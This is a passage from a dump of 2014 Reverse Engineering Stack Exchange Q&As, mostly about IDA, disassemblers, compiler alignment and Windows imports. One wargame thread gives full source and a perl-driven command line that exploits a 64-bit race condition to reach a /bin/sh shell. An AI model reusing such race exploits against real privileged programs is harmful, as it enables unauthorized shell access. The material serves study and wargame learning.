\"FlushFileBuffers\");\nMakeDword   (x=0X4DB320);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB320,  \"GetProcAddress\");\nMakeDword   (x=0X4DB324);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB324,  \"GetModuleHandleA\");\nMakeByte    (0X4DB328);\nMakeArray   (0X4DB328,  0X4);\nExtLinA     (0X4DB32C,  0,  \"; \");\nExtLinA     (0X4DB32C,  1,  \"; Imports from USER32.dll\");\nExtLinA     (0X4DB32C,  2,  \"; \");\nMakeDword   (x=0X4DB32C);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB32C,  \"MessageBoxA\");\nMakeDword   (x=0X4DB330);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB330,  \"LoadImageA\");\nMakeByte    (0X4DB334);\nMakeArray   (0X4DB334,  0X4);\nExtLinA     (0X4DB338,  0,  \"; \");\nExtLinA     (0X4DB338,  1,  \"; Imports from WSOCK32.dll\");\nExtLinA     (0X4DB338,  2,  \"; \");\nMakeDword   (x=0X4DB338);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB338,  \"__imp_ioctlsocket\");\nMakeDword   (x=0X4DB33C);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB33C,  \"__imp_inet_ntoa\");\nMakeDword   (x=0X4DB340);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB340,  \"__imp_WSACleanup\");\nMakeDword   (x=0X4DB344);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB344,  \"__imp_WSAStartup\");\nMakeDword   (x=0X4DB348);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB348,  \"__imp_recvfrom\");\nMakeDword   (x=0X4DB34C);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB34C,  \"__imp_sendto\");\nMakeDword   (x=0X4DB350);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB350,  \"__imp_recv\");\nMakeDword   (x=0X4DB354);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB354,  \"__imp_closesocket\");\nMakeDword   (x=0X4DB358);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB358,  \"__imp_socket\");\nMakeDword   (x=0X4DB35C);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB35C,  \"__imp_inet_addr\");\nMakeDword   (x=0X4DB360);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB360,  \"__imp_setsockopt\");\nMakeDword   (x=0X4DB364);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB364,  \"__imp_htons\");\nMakeDword   (x=0X4DB368);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB368,  \"__imp_htonl\");\nMakeDword   (x=0X4DB36C);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB36C,  \"__imp_bind\");\nMakeDword   (x=0X4DB370);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB370,  \"__imp_gethostbyname\");\nMakeDword   (x=0X4DB374);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB374,  \"__imp_connect\");\nMakeDword   (x=0X4DB378);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB378,  \"__imp_send\");\nMakeByte    (0X4DB37C);\nMakeArray   (0X4DB37C,  0X4);\nExtLinA     (0X4DB380,  0,  \"; \");\nExtLinA     (0X4DB380,  1,  \"; Imports from zlib.dll\");\nExtLinA     (0X4DB380,  2,  \"; \");\nMakeDword   (x=0X4DB380);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB380,  \"__imp_compress\");\nMakeByte    (0X4DB384);\nMakeArray   (0X4DB384,  0X4);\n
\n" }, { "Id": "4065", "CreationDate": "2014-04-14T03:22:30.643", "Body": "

I've recently started exploring the world of GPU-based malware. Academia doesn't have a ton of papers here, but there's some powerful ones. I'm looking at trying to improve the communities tools in terms of NVIDIA's fermi ISA, (since AMD published theirs!)

\n\n

To date, I've not found any fermi disassemblers, but one ONE fermi assembler:

\n\n

asfermi

\n\n

Are their any plugins/disassemblers that this community is aware of, that my google searches have apparently turned up zilch? NVIDIA's supplied tools don't work for binaries compiled with vs2010.

\n\n

=============[Updated Context]===================

\n\n

Appears that to a certain extent, my assumptions were wrong. NVIDIA's disassembly tools (nvobjdump, nvdisasm) are designed only to work with their *.cubin (maybe *.ptx) intermediate assemblies. Which is bad, from a malware analysis perspective.

\n\n

After searching extensively I found a dead project called decuda. (I say dead because it hasn't had a commit in years.) AND it doesn't seem to be able to handle disassembling *.cubin binaries from the latest releases, 5.5 and 6.0.

\n", "Title": "Are there ANY supported Fermi Disassemblers out there?", "Tags": "|disassembly|windows|linux|nvidia|", "Answer": "

Well, after spending lots of time in NVIDIA's documentation, and the recent update to 6.0, they added the ability for their program cuobjdump to extract *.cubin files from any given target executable. So you can extract *.cubin files from PE or ELF files like this:

\n\n
C:\\ProgramData\\NVIDIA Corporation\\CUDA Samples\\v6.0\\Bin\\win32\\Debug>cuobjdump -xelf all simpleAtomicIntrinsics.exe\n
\n\n

Then use nvdisasm on your target *.cubin file:

\n\n
C:\\ProgramData\\NVIDIA Corporation\\CUDA Samples\\v6.0\\Bin\\win32\\Debug>nvdisasm NVIDIA-CUDA-simpleAtomicIntrinsics.sm_50.cubin\n
\n\n

Oh, by the way, nvdisasm does actually use control-flow disassembly. cuobjdump uses linear.

\n\n

By playing with the provided tools you can extract opcodes, but unfortunately there's snakey instructions like S2R which according to NVIDIA's documentation does this:

\n\n

S2R Special Register to Register

\n\n

With no documentation I've seen yet as to what the special registers even ARE on this architecture. The best documentation on this so far is here.

\n" }, { "Id": "4074", "CreationDate": "2014-04-15T09:51:15.820", "Body": "

I'm disassembling a function that seems to use a switch statement, resulting in an indexed indirect jump, in two different places (same function!):

\n\n
0005FA58                 mov     al, [eax+112h]\n0005FA5E                 cmp     al, 4\n0005FA60                 ja      loc_5FBED\n0005FA66                 and     eax, 0FFh\n0005FA6B                 jmp     cs:off_5F98C[eax*4]\n0005FA73\n\n\n00060011                 mov     al, byte ptr unk_A4E30[eax]\n00060017                 cmp     al, 3\n00060019                 ja      short loc_60053\n0006001B                 and     eax, 0FFh\n00060020                 jmp     cs:off_5F9A0[eax*4]\n\n0005F98C off_5F98C       dd offset loc_5FBCC, offset loc_5FA73, offset loc_5FAC5, offset loc_5FB14, offset loc_5FB66\n0005F98C                                         ; DATA XREF: FunctionStart+BB\n0005F9A0 off_5F9A0       dd offset loc_60049, offset loc_6003E, offset loc_60031, offset loc_60028\n0005F9A0                                         ; DATA XREF: FunctionStart+670\n
\n\n

The first jump table has 5 entries, the second one 4. Unfortunately, the compiler placed them directly behind each other in memory. This seems to confuse IDA when calculating the graph connections for those nodes:

\n\n

\"Graph

\n\n

Edit, as the the wording of the question was probably misleading

\n\n

The graph node shows 9 outgoing connections. 5 of them are true connections, the next 4 are not - they belong to a different jump table that happens to be directly after this one in memory. I'd like to tell IDA \"This jump table has 5 valid entries, ignore the other ones when creating the graph node\". Is there any way to do this?

\n\n

The original question was:

\n\n
\n

The first jump table has 9 connections, 4 of which don't belong to\n that statement. (The second one, ommited here for brevity, has only one connection). Is there any way to tell IDA to remove the extra\n connections from the first table, and possibly create new connections\n from the 2nd table to the corresponding targets?

\n
\n\n

I already tried defining the jump tables as arrays, then undefine the function and re-define it as code, but that didn't change anything.

\n\n

(I'm using IDA 5.0, as this is a hobby project, and i don't want to spend several hundred bucks on something i'll use a few times a year).

\n", "Title": "Any way to fix misinterpreted case jump tables in Ida Pro?", "Tags": "|ida|disassembly|", "Answer": "

It's possible, but not in the freeware version:

\n\n
    \n
  1. Put cursor on the jmp
    2. \n
  2. Edit->Other->Specify switch idiom...
    3. \n
\n" }, { "Id": "4077", "CreationDate": "2014-04-15T13:06:03.097", "Body": "

I have a 16 bit VBX file for Visual Basic 3 which I'd like to disassembly. Which program can analyze it?

\n\n

I tried IDA Free, but it seems only OCX are supported.

\n", "Title": "How to disassemble VBX files?", "Tags": "|disassembly|", "Answer": "

VBX files are standard NE (New Executable) files which use a few special entrypoints and structures used by VB. IDA Free does not support NE file format, you need to use the full version (at least Starter) or another disassembler .You can find the details of the VBX API in the VB Control Development Kit (CDK) shipped with Visual Basic Pro 3.0 or by searching for \"vbapi.h\". Some additional information is available in MSDN

\n" }, { "Id": "4082", "CreationDate": "2014-04-16T01:36:27.100", "Body": "

I put the whole question in 2 images. From research, it seems I need to use Ctrl+R, but I don't think that's what I need since I couldn't lower the number a bit further in order to reach 0.

\n\n

I think the problem is that I'm not creating the structs properly.

\n\n

I'd like to add a few guesses the number went down to 16072 because the array of PlayerPointers is 4 bytes per element. So it went down 64288 / 4 = 16072.\n
\nI still don't know what that means.

\n\n

\"problem\n\"asm

\n\n

ASM Code:

\n\n
.text:0040E040 ; =============== S U B R O U T I N E =======================================\n.text:0040E040\n.text:0040E040\n.text:0040E040 ; struct_ARENA *__thiscall code(struct_PLAYER *player, const void *buf, unsigned int len, int a4)\n.text:0040E040 sub_40E040      proc near               \n.text:0040E040                                         \n.text:0040E040\n.text:0040E040 buf             = dword ptr  4\n.text:0040E040 len             = dword ptr  8\n.text:0040E040 a4              = dword ptr  0Ch\n.text:0040E040\n.text:0040E040                 push    ebx\n.text:0040E041                 push    esi\n.text:0040E042                 mov     esi, ecx\n.text:0040E044                 mov     eax, [esi+1Ch]\n.text:0040E047                 test    eax, eax\n.text:0040E049                 jz      short loc_40E093\n.text:0040E04B                 mov     ecx, [eax+0FF0Ch]\n.text:0040E051                 xor     ebx, ebx\n.text:0040E053                 test    ecx, ecx\n.text:0040E055                 jle     short loc_40E093\n.text:0040E057                 push    edi\n.text:0040E058                 push    ebp\n.text:0040E059                 mov     ebp, [esp+10h+a4]\n.text:0040E05D                 mov     edi, 0FB20h\n.text:0040E062\n.text:0040E062 loc_40E062:                             \n.text:0040E062                 mov     eax, [edi+eax]\n.text:0040E065                 cmp     eax, esi\n.text:0040E067                 jz      short loc_40E082\n.text:0040E069                 mov     ecx, [eax+38h]\n.text:0040E06C                 test    ecx, ecx\n.text:0040E06E                 jnz     short loc_40E082\n.text:0040E070                 mov     ecx, [esp+10h+len]\n.text:0040E074                 mov     edx, [esp+10h+buf]\n.text:0040E078                 push    ebp             ; a4\n.text:0040E079                 push    ecx             ; len\n.text:0040E07A                 push    edx             ; buf\n.text:0040E07B                 mov     ecx, eax        ; this\n.text:0040E07D                 call    SendPlayerReliablePacket\n.text:0040E082\n.text:0040E082 loc_40E082:                             \n.text:0040E082                                         \n.text:0040E082                 mov     eax, [esi+1Ch]\n.text:0040E085                 inc     ebx\n.text:0040E086                 add     edi, 4\n.text:0040E089                 cmp     ebx, [eax+0FF0Ch]\n.text:0040E08F                 jl      short loc_40E062\n.text:0040E091                 pop     ebp\n.text:0040E092                 pop     edi\n.text:0040E093\n.text:0040E093 loc_40E093:                            \n.text:0040E093                                         \n.text:0040E093                 pop     esi\n.text:0040E094                 pop     ebx\n.text:0040E095                 retn    0Ch\n.text:0040E095 sub_40E040      endp\n.text:0040E095 ; ---------------------------------------------------------------------------\n.text:0040E098                 align 10h\n
\n\n

Here is one that looks better only 1 struct instead of 2 but still same problem

\n\n

\"enter

\n\n

Here is the amount of players who are not watching but playing the game.

\n\n
int __thiscall TotalPlayingPlayers(struct_ARENA *arena)\n{\n  int ArenaPlayerCount; // edx@1\n  int result; // eax@1\n  struct_PLAYER **eachPlayer; // ecx@2\n\n  ArenaPlayerCount = arena->ArenaPlayerCount;\n  result = 0;\n  if ( ArenaPlayerCount > 0 )\n  {\n    eachPlayer = arena->playerPointersForSomething;// How could this be like this? this would only hold 251 4 bytes not enough for all players.\n    do\n    {\n      if ( (*eachPlayer)->Ship != 8 )\n        ++result;\n      ++eachPlayer;                             // This means it really has to go up by 4 bytes the small 251 array.\n      --ArenaPlayerCount;\n    }\n    while ( ArenaPlayerCount );\n  }\n  return result;\n}\n
\n\n

\"here

\n", "Title": "IDA PRO Struct Pointer Counter big number not starting from address offset 0, Lowers a bit slightly but not all the way to 0", "Tags": "|ida|struct|functions|", "Answer": "

It seems to me that you're wrong if you assume v7 is an index - v6 is.

\n\n

The original function was probably something like

\n\n
int v6=0;\nwhile (v6 < result->ArenaSubStruct.ArenaPlayerCount) {   // <-- what is a if/do while in your disassembly was originally a while\n    eachPlayer = result->ArenaSubStruct.PlayerPointers[v6];\n    if (eachPlayer != player)                            // <-- v4 and player are identical\n        SendPlayerReliablePacket(eachPlayer, buf, len, a4);\n    ++v6;\n}\n
\n\n

To optimize this, the compiler introduced v7 as a pointer to the array element corresponding to the loop variable. This way, the processor just needs to access a pointer (and increment the pointer by the size of the int it points to) instead of a multiplication and add per loop:

\n\n
int v6=0;\nint v7=offsetof(*result, ArenaSubStruct.PlayerPointers);\nwhile (v6 < result->ArenaSubStruct.ArenaPlayerCount) {\n    eachPlayer = *(int *)((char *)result+v7)\n    if (eachPlayer != player)\n        SendPlayerReliablePacket(eachPlayer, buf, len, a4);\n    v6++;\n    v7+=sizeof(ArenaSubStruct.PlayerPointers[0]);   // which is an it so sizeof returns 4\n}\n
\n\n

So your v7 is not an index into the PlayerPointers structure that should be brought down to 0, instead, it's an \"index\" into the ArenaSubStruct structure, that starts with the offset of PlayerPointers within ArenaSubStruct. You can't get that back nicely in IDA, because there's no nice C representation of what the compiler did - look at the ugly type casts i had to do.

\n" }, { "Id": "4084", "CreationDate": "2014-04-16T15:07:06.240", "Body": "

The test platform is on Linux 32bit, x86. \nSo basically I wrote a simple C program like this:

\n\n
void main()\n{\n        double a = 10.0;\n        printf(\"hello world %f\\n\", a);\n\n}\n
\n\n

I use gcc to compile to into ELF binary, and use objdump to disassemble it. I solve the reference to .rodata section, and refine the asm code in this :

\n\n
extern  printf\nsection .rodata\n\nS_80484d0   db 0x68\ndb 0x65\n  db 0x6c\ndb 0x6c\ndb 0x6f\ndb 0x20\ndb 0x77\ndb 0x6f\ndb 0x72\ndb 0x6c\ndb 0x64\ndb 0x20\ndb 0x25\ndb 0x66\ndb 0x0a\n\n\nS_80484f0 db 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x24, 0x40\n\nsection .text\nglobal main\nmain:\npush   ebp\nmov    ebp,esp\nand    esp,0xfffffff0\nsub    esp,0x20\nfld    qword [S_80484f0]\nfstp   QWORD [esp+0x18]\nfld    QWORD [esp+0x18]\nfstp   QWORD [esp+0x4] \nmov    DWORD [esp],S_80484d0\ncall   printf\nleave\nret\n
\n\n

Then I re-compile this asm code to get a new ELF binary, and comparing the .text section of these two binaries.

\n\n

Here is the confusing thing: The only different I can find is that there are more leading nop in front of the main function like this:

\n\n

new ELF binary leading nop:

\n\n

\"new

\n\n

new ELF binary ending nop:

\n\n

\"new

\n\n

old ELF binary:

\n\n

\"old

\n\n

Basically I don't think it is kinda of \"alignment\" issue, because there are just too much nop.

\n\n

What's more, when I change the original code into just a simple helloworld code(without double number a), then basically there is no difference between these two ELF binaries.

\n\n

Could anyone give me some help on why there are so many nop generated?

\n\n

Thank you

\n", "Title": "Why ther are some many padding/leading nop instructions in my binary code?", "Tags": "|disassembly|assembly|elf|", "Answer": "

Alignment.

\n\n

Note that all of the NOPs end (and the next function begins) at ...C0, ...F0. The compiler and/or linker inserted padding bytes so that the functions begin at 0x10 aligned addresses.

\n\n

Different compilers / linkers will use different values for these bytes. I've seen 90 (nop), CC (int3), as well as multi-byte NOPs that exactly fill the space between the functions.

\n\n

You should check out this great answer on the same question over at Stack Overflow.

\n\n

In short, this is done for performance reasons, as processors typically fetch instructions in 16- or 32-byte strides, so it makes sense to have functions begin at one of these boundaries.

\n" }, { "Id": "4101", "CreationDate": "2014-04-18T23:36:42.637", "Body": "

I've been trying for the past week to solve a wargame - where I am given a program and need to find the correct input (usually malformed, malicious, or otherwise) to get it to execute code that I want. I've been struggling with the following problem and wanted to see if anyone here has advice or ideas to try.\nThe code is the following

\n\n
unsigned long long passcode = 0xbadc0dedecadeull, code = 0, v;\nint finished = 0;\n\nvoid* tryAllCodes(void* ptr) {\n    char** codes = (char**) ptr;\n\n    while(*++codes) {\n        printf(\".\");\n        v = strtoull(*codes, 0, 16); // v is stored in ebx:ecx\n        code = (v != passcode)? v : 0;\n    }\n\n    finished = 1;\n}\n\n\nint main(int argc, char** argv) {\n    char *args[] = { \"/bin/sh\", 0};\n    pthread_t t;\n    pthread_create(&t, NULL, tryAllCodes, argv);\n\n    while(!finished)\n        if(code == passcode) { // code is stored in ebx:ecx\n            printf(\"Win!\\n\");\n            execve(*args, args, 0);\n        }\n\n    pthread_join(t, NULL);\n    return 0;\n}\n
\n\n

I believe there is a race condition here because there is no mutex around the access to the variable code, and I've gotten it to happen by setting breakpoints in the tryAllCodes function with gdb and letting the main thread continue to run. I believe this was because the registers that v and code are stored in when checking their value are the same, so if the context jumps out of tryAllCodes with v set to passcode before it gets zeroized I enter the win block.\nUnfortunately I need to get this same behavior without using a debugger - so my question is does my approach of exploiting a race condition seem correct, or is there something else I'm overlooking? If so, is there a way on linux to cause a thread to yield execution more often? I tried renice on the tryAllCodes thread but it seems to just cause to program to spin in the main loop.

\n\n

Thanks a bunch

\n", "Title": "Help with identifying race condition in wargame", "Tags": "|exploit|vulnerability-analysis|", "Answer": "\n\n

Hmm this code will probably not work if optimized because the shared globals are not pointers nor are they marked as volatile. This means that the compiler is free to assume the globals are accessed from one thread only so most likely the

\n\n

while(!passcode)

\n\n

will be optimized to always be true and therefore result in an eternal loop. Really should mark this volatile if they're intended to be shared between threads.

\n\n

I think you're right about the race condition being what they expect you to exploit here. The key is to realize that the read from code happens in two instructions in the main thread and the write to code happens in two instructions in the spawned thread due to this being a 64 bit variable. So what you want to do is to hit it like this:

\n\n\n\n

In order to do this you need a very very long argument list with values such that this condition can happen. Possibly generating a few competing processes for processor time to maximize preemption.

\n\n

The order of lower and upper bits being correct depend on the specifics of the machine code the threads are running. Which you probably know since I assume you have access to the binary.

\n\n

The two load and store instructions are also likely to be positioned extremely close to each other so whether the exact sequence of events is likely to occur will be very dependent on the CPU architecture. It's possible that the instructions are seen as independent and scheduled on two different pipelines due to superscalarity. This of course depends on how the CPU schedules loads and stores..

\n\n

The issue seems much easier to exploit on a multicore system due to you not having to depend on super accurate preemption. It might also be harder to exploit on a 64 bit OS running a 32 bit process.

\n\n

All of this doesn't really matter because in the end all you can really do is throw a huge number of arguments at it and pray as far as I can see.

\n\n

Spoilers

\n\n

As I was kind of curious under what conditions this was reliably exploitable I had to test some stuff. If you're doing the same, here's the fixed source and the exploit. This should allow you to do some local experimentation. Like I expected it seems to be extremely unlikely to hit a context switch at the right moment so on a single core CPU this is a nightmare. On a multicore CPU both threads are spinning in parallel so it's much more likely to hit the right conditions.

\n\n

Code

\n\n
#include <stdio.h>\n#include <stdlib.h>\n#include <pthread.h>\n#include <unistd.h>\n\nvolatile unsigned long long passcode = 0xbadc0dedecadeull;\nvolatile unsigned long long code = 0;\nvolatile unsigned long long v;\nvolatile int finished = 0;\n\nvoid* tryAllCodes(void* ptr) {\n    char** codes = (char**) ptr;\n\n    while(*++codes) {\n        printf(\".\");\n        v = strtoull(*codes, 0, 16); // v is stored in ebx:ecx\n        code = (v != passcode)? v : 0;\n    }\n\n    finished = 1;\n    return 0;\n}\n\nint main(int argc, char** argv) {\n    char *args[] = { \"/bin/sh\", 0};\n    pthread_t t;\n    pthread_create(&t, NULL, tryAllCodes, argv);\n\n    while(!finished)\n        if(code == passcode) { // code is stored in ebx:ecx\n            printf(\"Win!\\n\");\n            execve(*args, args, 0);\n        }\n\n    pthread_join(t, NULL);\n    return 0;\n}\n
\n\n

Compile with

\n\n
gcc -std=c99 -Wall -Wpedantic -pthread -m32 -O2 -o race race.c\n
\n\n

Exploit with

\n\n
./race `perl -e \"print 'dedecade badc000000000 'x90870\"`\n
\n" }, { "Id": "4103", "CreationDate": "2014-04-19T09:50:42.553", "Body": "

I use the free version of IDA and I'm trying to define structs. Unfortunately, I'm using Windows XP as a VM on OSX and am having trouble remapping Insert to something else.

\n\n

I'm hoping someone has solved this before. Any hints on fixing this would be mega useful !

\n", "Title": "osx + IDA + virtualbox, keyboard mapping for \"Insert\"", "Tags": "|ida|osx|virtual-machines|", "Answer": "
    \n

  1. Edit -> Add struct type...

    2. \n

  2. idagui.cfg:

    \n\n
    //\n//      Keyboard hotkey definitions\n//      ---------------------------\n//\n\n\"ReloadFile\"            =       0               // Reload the same input file\n[....] \n\"AddStruct\"             =       \"Ins\"           // add struct type\n
    3. \n
\n" }, { "Id": "4106", "CreationDate": "2014-04-19T21:38:17.213", "Body": "

For fun I downloaded an installer from a \"driver downloads\" website. I do NOT intend on installing it, but I was interested to check it out just to see what it looked like. I tossed it into Ollydbg (without advancing the pointer) and just browsed the assembly.

\n\n

There are multiple different calls/jumps/far jumps to various ntdll.addr.

\n\n

I know ntdll is a pretty low-level library, but I just don't have enough experience in windows x86 disassembly to know what's 'normal'. This is also ostensibly, a driver installer, so it seems reasonable that there would be calls into ntdll. Are jumps like that considered normal behavior? Usually I'm used to seeing calls that expressly name the function... not a specific address in ntdll.

\n\n

Extra detail/context

\n\n

The file wasn't packed, but there were a few spots where the full printable ASCII [A-Za-z] appeared in the hex view, which I recall could be a sign that there's base64 encoding/decoding going on somewhere. Maybe shift-ciphers.

\n\n

For reference, the precise binary I'm peering into is here. Windows 7 64bits. (The installer itself appears to be 32bits... Ollydbg loaded it fine, and IDA free too.)

\n\n

PEBrowse64 also showed me something possibly suspicious under Resources->STRING->4085.

\n\n

In this section there appears to be strings set aside for Pageup/Down/Backspace/Esc/Enter keys, which I know could be a sign of a keylogger... but again, I'm new, so I'm unsure.

\n", "Title": "Are jump instructions targeting addresses in ntdll a sign of malware?", "Tags": "|disassembly|windows|malware|", "Answer": "

There is a legitimate situation where this can occur, which is called \"import forwarding\". That is, a DLL (such as kernel32.dll) might export a symbol, for which the implementation is held in another DLL (such as ntdll.dll). A typical example of that is the heap allocation functions: HeapAlloc and HeapFree. If you examine kernel32.dll, you will see that they are redirected to ntdll.RtlAllocateHeap and ntdll.RtlFreeHeap. The reason for this is behavior is probably not particularly interesting (it's to do with maintaining compatibility).

\n\n

That is not to say that all such cases of direct calls into ntdll.dll are legitimate, but it might explain what you are seeing.

\n" }, { "Id": "4114", "CreationDate": "2014-04-21T14:47:36.340", "Body": "

I want plugin for OllyDbg - strongOD 0.3.4.639 version. Where I find it for download? Thank for response.

\n", "Title": "Where I download plugin StrongOD 0.3.4.639?", "Tags": "|ollydbg|", "Answer": "

I don't know about that version but you can find the latest version (0.4.8.892) here

\n\n

https://tuts4you.com/download.php?view.2028

\n\n

For more information about OllyDbg plugin system see this and this

\n" }, { "Id": "4117", "CreationDate": "2014-04-22T01:07:49.937", "Body": "

IDA PRO's Hex-Ray gives me these variables.

\n\n
  void *v7; // esp@1\n  const char *v8; // ebx@1\n  PLAYER *v9; // ebp@1\n  int v10; // edi@5\n  PLAYER *v11; // edx@6\n  int v12; // ecx@9\n  int v13; // esi@17\n  int v14; // eax@33\n  const char v15; // al@36\n  const char *v16; // ebx@45\n  PLAYER *v17; // eax@50\n  int v18; // esi@51\n  const CHAR *v19; // ecx@54\n  int v20; // edx@56\n  unsigned int v21; // eax@61\n  signed int v22; // ebx@61\n  ARENA *v23; // eax@63\n  ARENA *v24; // edx@63\n  int v25; // ecx@63\n  int v26; // esi@64\n  signed int v27; // edi@65\n  int v28; // eax@66\n  ARENA *v29; // ecx@66\n  int v30; // esi@69\n  int v31; // edi@71\n  int v32; // esi@71\n  signed int v33; // ecx@74\n  int v34; // eax@75\n  const CHAR *v35; // edi@78\n  signed int v36; // ecx@78\n  signed int v37; // ecx@81\n  const void *v38; // esi@81\n  const CHAR *v39; // edi@81\n  unsigned int v40; // edx@81\n  signed int v41; // ecx@81\n  const char v42; // al@89\n  const char *v43; // ebx@89\n  const char v44; // al@90\n  const char v45; // al@96\n  const char *v46; // ebx@96\n  const char v47; // al@97\n  const char v48; // al@103\n  const char *v49; // ebx@103\n  const char v50; // al@104\n  int v51; // ebx@107\n  const char *v52; // edx@108\n  unsigned int v53; // kr48_4@108\n  unsigned int v54; // kr50_4@108\n  const char *v55; // edi@108\n  unsigned int v56; // kr58_4@110\n  const char *v57; // esi@110\n  const char *v58; // edi@110\n  int v59; // ecx@110\n  bool v60; // zf@110\n  int v61; // edi@121\n  int i; // esi@121\n  const char *v63; // eax@122\n  signed int v64; // esi@126\n  const char *v65; // ebx@134\n  PLAYER *v66; // eax@140\n  int v67; // edx@141\n  int v68; // ecx@141\n  PLAYER *v69; // eax@146\n  int v70; // edx@147\n  int v71; // ecx@147\n  const CHAR v72; // cl@153\n  int v73; // eax@153\n  const CHAR *j; // edx@153\n  char v75; // cl@156\n  const CHAR v76; // cl@157\n  int v77; // eax@157\n  const CHAR *k; // edx@157\n  char v79; // cl@160\n  const CHAR v80; // cl@161\n  int v81; // eax@161\n  const CHAR *l; // edx@161\n  char *v83; // eax@163\n  const CHAR v84; // al@171\n  int v85; // esi@171\n  const CHAR *m; // ecx@171\n  char v87; // al@174\n  const CHAR v88; // al@175\n  int v89; // esi@175\n  const CHAR *n; // ecx@175\n  const CHAR v91; // al@180\n  int v92; // esi@180\n  const CHAR *ii; // ecx@180\n  const char *v94; // ebx@189\n  const char v95; // al@200\n  const char *v96; // ebx@200\n  const char v97; // al@201\n  ARENA *v98; // eax@204\n  unsigned int v99; // kr68_4@208\n  int v100; // edi@208\n  PLAYER **v101; // ebx@209\n  int v102; // ebx@215\n  PLAYER *v103; // ecx@217\n  __int64 v104; // qax@218\n  int v105; // ecx@218\n  __int64 v106; // qax@218\n  int v107; // ST24_4@218\n  __int64 v108; // qax@218\n  PLAYER *v109; // esi@223\n  int v110; // ST24_4@224\n  int v111; // ST1C_4@224\n  int v112; // ST18_4@224\n  char *v113; // eax@224\n  ARENA *v114; // eax@226\n  signed int v115; // ecx@228\n  int v116; // eax@228\n  ENCRYPTION *v117; // ecx@230\n  int v118; // edi@230\n  int v119; // edx@233\n  int v120; // edi@233\n  unsigned __int64 v121; // st7@233\n  DWORD v122; // eax@235\n  int v123; // ecx@235\n  DWORD v124; // eax@237\n  unsigned __int64 v125; // st7@237\n  int v126; // ecx@237\n  int v127; // edx@239\n  DWORD v128; // edi@239\n  time_t v129; // ST20_8@242\n  signed __int64 v130; // qax@242\n  signed int v131; // edi@242\n  __int64 v132; // qax@243\n  __int64 v133; // ST20_8@243\n  signed int v134; // ecx@243\n  __int64 v135; // ST18_8@243\n  int v136; // ecx@247\n  PLAYER *v137; // eax@268\n  int v138; // ecx@269\n  const char v139; // al@276\n  const char *v140; // edi@276\n  const char v141; // al@277\n  const char v142; // al@279\n  __int16 v143; // ax@284\n  PLAYER *v144; // edi@289\n  ARENA *v145; // eax@292\n  int v146; // ecx@292\n  signed int v147; // edx@293\n  PLAYER *v148; // eax@294\n  ARENA *v149; // eax@296\n  int v150; // ecx@296\n  signed int v151; // edx@297\n  PLAYER *v152; // eax@298\n  PLAYER *v153; // eax@308\n  char *v154; // eax@309\n  const char v155; // al@312\n  const char *v156; // edi@312\n  const char v157; // al@313\n  ARENA *v158; // eax@318\n  unsigned int v159; // kr88_4@320\n  const char v160; // al@323\n  const char *v161; // edi@323\n  const char v162; // al@324\n  const char v163; // al@330\n  const char *v164; // edi@330\n  const char v165; // al@331\n  int v166; // eax@336\n  __int16 v167; // ax@342\n  PLAYER *v168; // esi@346\n  int v169; // edx@350\n  const char v170; // al@384\n  const char *v171; // edi@384\n  const char v172; // al@385\n  PLAYER *v173; // esi@392\n  int v174; // edx@397\n  PLAYER *v175; // esi@403\n  int v176; // edi@408\n  int v177; // eax@409\n  int v178; // esi@410\n  int v179; // eax@410\n  ARENA *v180; // ecx@413\n  int v181; // edi@415\n  ARENA **v182; // esi@416\n  PLAYER *v183; // ecx@423\n  int v184; // edi@427\n  PLAYER **v185; // esi@428\n  PLAYER *v186; // ecx@437\n  ARENA *v187; // ecx@443\n  FILE *v188; // eax@449\n  const char *v189; // edi@449\n  int v190; // ebx@451\n  int v191; // eax@451\n  FILE *v192; // eax@454\n  ARENA *v193; // eax@455\n  int v194; // esi@456\n  signed int v195; // edi@457\n  PLAYER *v196; // eax@458\n  const char *v197; // esi@461\n  int v198; // eax@461\n  signed int v199; // edi@463\n  int v200; // edx@471\n  time_t v201; // ST20_8@478\n  signed __int64 v202; // qax@478\n  signed int v203; // esi@478\n  signed int v204; // ecx@481\n  int v205; // edi@481\n  const char *v206; // esi@481\n  bool v207; // zf@481\n  const char *v208; // ebx@485\n  signed int v209; // ebx@490\n  char *v210; // eax@491\n  int v211; // ecx@491\n  int v212; // edi@494\n  signed int v213; // ecx@496\n  signed int v214; // ecx@499\n  const void *v215; // esi@499\n  const CHAR *v216; // edi@499\n  unsigned int v217; // edx@499\n  signed int v218; // ecx@499\n  const CHAR *v219; // edi@502\n  signed int v220; // ecx@502\n  signed int v221; // ecx@505\n  const void *v222; // esi@505\n  const CHAR *v223; // edi@505\n  unsigned int v224; // edx@505\n  signed int v225; // ecx@505\n  int v226; // ebx@516\n  signed int v227; // esi@516\n  ARENA *v228; // edx@520\n  int v229; // 